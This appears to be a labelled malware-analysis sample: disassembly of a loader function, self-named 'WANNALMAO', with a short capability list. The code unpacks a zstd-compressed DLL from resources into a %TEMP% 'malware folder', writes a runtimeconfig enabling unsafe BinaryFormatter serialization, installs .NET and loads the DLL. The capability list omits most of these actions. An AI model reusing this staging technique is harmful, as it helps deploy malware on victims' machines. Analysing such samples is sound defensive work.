Function at 0x14002b8ac
Capabilities:
Get common file path
Print debug messages
Query environment variable

Disassembly:
jmp 0x14002d830
push rbp
sub rsp, 0x660
lea rbp, [rsp + 0x20]
lea rcx, str.This_is_hidden_n
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
lea rcx, str.load_dll_n
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
lea rdx, [rbp]
mov ecx, 0x65
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_LoadDllFromResources_unsigned_int__unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002d87d
lea rcx, str.error_loading_DLL_from_resource
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, str.decompress_n
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
lea r8, [rbp + 0x10]
mov rdx, qword [rbp]
mov rcx, qword [rbp + 8]
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_DecompressZstd_unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64___unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x10], 0
je 0x14002d8ad
cmp qword [rbp + 0x18], 0
jne 0x14002d8b9
lea rcx, str.error_decompressing_dll
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
call sym.Loader.exe_bool___cdecl_WANNALMAO_CreateMalwareFolder_void_
movzx eax, al
test eax, eax
jne 0x14002d8d1
lea rcx, str.error_creating_malware_folder_in_temp_dir
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, 0x104
lea rdx, [rbp + 0x20]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea rdx, str.WANNALMAO
lea rcx, [rbp + 0x20]
call fcn.14002b8c5
lea rcx, str.write_to_file_n
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea rdx, str.WANNALMAO_verysus.dll
lea rcx, [rbp + 0x130]
call fcn.14002b8c5
lea r8, [rbp + 0x130]
mov edx, 0x104
lea rcx, [0x140098520]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x130]
call sym.Loader.exe_bool___cdecl_WANNALMAO_WriteToFile_char_const____ptr64__unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64__
movzx eax, al
test eax, eax
jne 0x14002d972
lea rcx, str.error_writing_verysus.dll_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, 0x104
lea rdx, [rbp + 0x240]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea rdx, str.WANNALMAOWANNALMAO.runtimeconfig.json
lea rcx, [rbp + 0x240]
call fcn.14002b8c5
lea rax, str._runtimeOptions_:_tfm_:_net8.0___frameworks_:__name_:_Microsoft.NETCore.App___version_:_8.0.0___name_:_Microsoft.WindowsDesktop.App___version_:_8.0.0____configProperties_:_System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization_:true
mov qword [rbp + 0x350], rax
mov rcx, qword [rbp + 0x350]
call fcn.14002b424
mov r8, rax
mov rdx, qword [rbp + 0x350]
lea rcx, [rbp + 0x240]
call sym.Loader.exe_bool___cdecl_WANNALMAO_WriteToFile_char_const____ptr64__unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64__
movzx eax, al
test eax, eax
jne 0x14002d9e2
lea rcx, str.error_writing_runtime_config_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
call sym.Loader.exe_bool___cdecl_WANNALMAO_InstallDotnetTemp_void_
movzx eax, al
test eax, eax
jne 0x14002d9fa
lea rcx, str.error_installing_dotnet_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov qword [0x140098510], rax
cmp qword [0x140098510], 0
jne 0x14002da24
lea rcx, str.error_loading_dll_locally
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea rdx, str.WANNALMAOworkingdir
lea rcx, [rbp + 0x360]
call fcn.14002b8c5
lea rdx, [rbp + 0x470]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea rcx, [rbp + 0x470]
call fcn.14002b424
mov r8, rax
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x360]
call sym.Loader.exe_bool___cdecl_WANNALMAO_WriteToFile_char_const____ptr64__unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64__
movzx eax, al
test eax, eax
jne 0x14002da98
lea rcx, str.error_writing_workingdir_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
lea rsp, [rbp + 0x640]
pop rbp
ret